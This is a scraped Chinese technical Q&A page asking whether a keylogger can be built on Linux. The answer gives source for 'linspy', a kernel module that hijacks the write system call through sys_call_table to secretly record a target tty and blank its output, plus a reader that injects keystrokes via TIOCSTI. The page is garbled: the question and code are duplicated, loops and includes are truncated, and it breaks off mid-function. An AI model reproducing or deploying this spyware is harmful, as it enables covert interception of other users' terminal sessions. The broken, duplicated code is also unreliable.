当前位置: 技术问答>linux和unix
Linux 下能否实现一个键盘记录器
来源: 互联网 发布时间:2015-08-04
本文导语: 当然, 不应该修改内核。 不应该破坏正常的键盘使用。 Windows下有钩子,Linux下呢? | 可以利用TIOCSTI这个ioctl调用宏来阻塞击键到标准输入流。 改变write(2)系统调用到我们的代码,代码的作...
当然,
不应该修改内核。
不应该破坏正常的键盘使用。
Windows下有钩子,Linux下呢?
不应该修改内核。
不应该破坏正常的键盘使用。
Windows下有钩子,Linux下呢?
|
可以利用TIOCSTI这个ioctl调用宏来阻塞击键到标准输入流。 改变write(2)系统调用到我们的代码,代码的作用是假如指向我们想要的tty就纪录下来; 我们可以在后面调用真实的write(2)系统调用。
我们可以通过读这个设备来获得已经被纪录的数据,并且增加一个或两个ioctl来告诉我们的代码确定我们想纪录的那个tty。
参考代码:
#define BUFFERSZ 2048
char buffer[BUFFERSZ];
int queue_head = 0;
int queue_tail = 0;
/* taken_over 定义目标机是否可以看到任何输出 */
int taken_over = 0;
static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);/*构建write调用*/
extern void *sys_call_table[];
/* linspy设备的设备信息 */
static int linspy_major = 40;
int tty_minor = -1;
int tty_major = 4;
/* 保存原write调用地址 */
void *original_write;
void save_write(char *, size_t);
int out_queue(void)
{
int c;
if(queue_head == queue_tail) return -1;
c = buffer[queue_head];
queue_head++;
if(queue_head == BUFFERSZ) queue_head=0;
return c;
}
int in_queue(int ch)
{
if((queue_tail + 1) == queue_head) return 0;
buffer[queue_tail] = ch;
queue_tail++;
if(queue_tail == BUFFERSZ) queue_tail=0;
return 1;
}
/* 检查tty是否是我们要寻找的 */
int is_fd_tty(int fd)
{
struct file *f=NULL;
struct inode *inode=NULL;
int mymajor=0;
int myminor=0;
if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
return 0;
mymajor = major(inode->i_rdev);
myminor = minor(inode->i_rdev);
if(mymajor != tty_major) return 0;
if(myminor != tty_minor) return 0;
return 1;
}
/* 这是新的write调用 */
extern int new_write(int fd, char *buf, size_t count)
{
int r;
if(is_fd_tty(fd))
{
if(count > 0)
save_write(buf, count);
if(taken_over) return count;
}
sys_call_table[SYS_write] = original_write; /*保存原调用*/
r = write(fd, buf, count);
sys_call_table[SYS_write] = new_write; /*替换新调用*/
if(r == -1) return -errno;
else return r;
}
/* 保存write调用的返回值到buffer */
void save_write(char *buf, size_t count)
{
int i;
for(i=0;i euid != 0) return 0;
for(i=0;i euid != 0) return -EIO;
switch(cmd)
{
case LS_SETMAJOR:
tty_major = args;
queue_head = 0;
queue_tail = 0;
break;
case LS_SETMINOR:
tty_minor = args;
queue_head = 0;
queue_tail = 0;
break;
case LS_FLUSHBUF:
queue_head=0;
queue_tail=0;
break;
case LS_TOGGLE:
if(taken_over) taken_over=0;
else taken_over=1;
break;
default:
return 1;
}
return 0;
}
static struct file_operations linspy = {
NULL,
linspy_read,
NULL,
NULL,
NULL,
linspy_ioctl,
NULL,
linspy_open,
linspy_close,
NULL
};
/* 加载模块 */
int init_module(void)
{
original_write = sys_call_table[SYS_write];
sys_call_table[SYS_write] = new_write;
if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO;
return 0;
}
/*卸载模块 */
void cleanup_module(void)
{
sys_call_table[SYS_write] = original_write;
unregister_chrdev(linspy_major, "linspy";
}
end linspy.c
linspy/ltread.c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
struct termios save_termios;
int ttysavefd = -1;
int fd;
#ifndef DEVICE_NAME
#define DEVICE_NAME "/dev/ltap"
#endif
#define LS_SETMAJOR 0
#define LS_SETMINOR 1
#define LS_FLUSHBUF 2
#define LS_TOGGLE 3
void stuff_keystroke(int fd, char key)
{
ioctl(fd, TIOCSTI, &key);
}
int tty_cbreak(int fd)
{
struct termios buff;
if(tcgetattr(fd, &save_termios)
我们可以通过读这个设备来获得已经被纪录的数据,并且增加一个或两个ioctl来告诉我们的代码确定我们想纪录的那个tty。
参考代码:
#define BUFFERSZ 2048
char buffer[BUFFERSZ];
int queue_head = 0;
int queue_tail = 0;
/* taken_over 定义目标机是否可以看到任何输出 */
int taken_over = 0;
static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);/*构建write调用*/
extern void *sys_call_table[];
/* linspy设备的设备信息 */
static int linspy_major = 40;
int tty_minor = -1;
int tty_major = 4;
/* 保存原write调用地址 */
void *original_write;
void save_write(char *, size_t);
int out_queue(void)
{
int c;
if(queue_head == queue_tail) return -1;
c = buffer[queue_head];
queue_head++;
if(queue_head == BUFFERSZ) queue_head=0;
return c;
}
int in_queue(int ch)
{
if((queue_tail + 1) == queue_head) return 0;
buffer[queue_tail] = ch;
queue_tail++;
if(queue_tail == BUFFERSZ) queue_tail=0;
return 1;
}
/* 检查tty是否是我们要寻找的 */
int is_fd_tty(int fd)
{
struct file *f=NULL;
struct inode *inode=NULL;
int mymajor=0;
int myminor=0;
if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
return 0;
mymajor = major(inode->i_rdev);
myminor = minor(inode->i_rdev);
if(mymajor != tty_major) return 0;
if(myminor != tty_minor) return 0;
return 1;
}
/* 这是新的write调用 */
extern int new_write(int fd, char *buf, size_t count)
{
int r;
if(is_fd_tty(fd))
{
if(count > 0)
save_write(buf, count);
if(taken_over) return count;
}
sys_call_table[SYS_write] = original_write; /*保存原调用*/
r = write(fd, buf, count);
sys_call_table[SYS_write] = new_write; /*替换新调用*/
if(r == -1) return -errno;
else return r;
}
/* 保存write调用的返回值到buffer */
void save_write(char *buf, size_t count)
{
int i;
for(i=0;i euid != 0) return 0;
for(i=0;i euid != 0) return -EIO;
switch(cmd)
{
case LS_SETMAJOR:
tty_major = args;
queue_head = 0;
queue_tail = 0;
break;
case LS_SETMINOR:
tty_minor = args;
queue_head = 0;
queue_tail = 0;
break;
case LS_FLUSHBUF:
queue_head=0;
queue_tail=0;
break;
case LS_TOGGLE:
if(taken_over) taken_over=0;
else taken_over=1;
break;
default:
return 1;
}
return 0;
}
static struct file_operations linspy = {
NULL,
linspy_read,
NULL,
NULL,
NULL,
linspy_ioctl,
NULL,
linspy_open,
linspy_close,
NULL
};
/* 加载模块 */
int init_module(void)
{
original_write = sys_call_table[SYS_write];
sys_call_table[SYS_write] = new_write;
if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO;
return 0;
}
/*卸载模块 */
void cleanup_module(void)
{
sys_call_table[SYS_write] = original_write;
unregister_chrdev(linspy_major, "linspy";
}
end linspy.c
linspy/ltread.c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
struct termios save_termios;
int ttysavefd = -1;
int fd;
#ifndef DEVICE_NAME
#define DEVICE_NAME "/dev/ltap"
#endif
#define LS_SETMAJOR 0
#define LS_SETMINOR 1
#define LS_FLUSHBUF 2
#define LS_TOGGLE 3
void stuff_keystroke(int fd, char key)
{
ioctl(fd, TIOCSTI, &key);
}
int tty_cbreak(int fd)
{
struct termios buff;
if(tcgetattr(fd, &save_termios)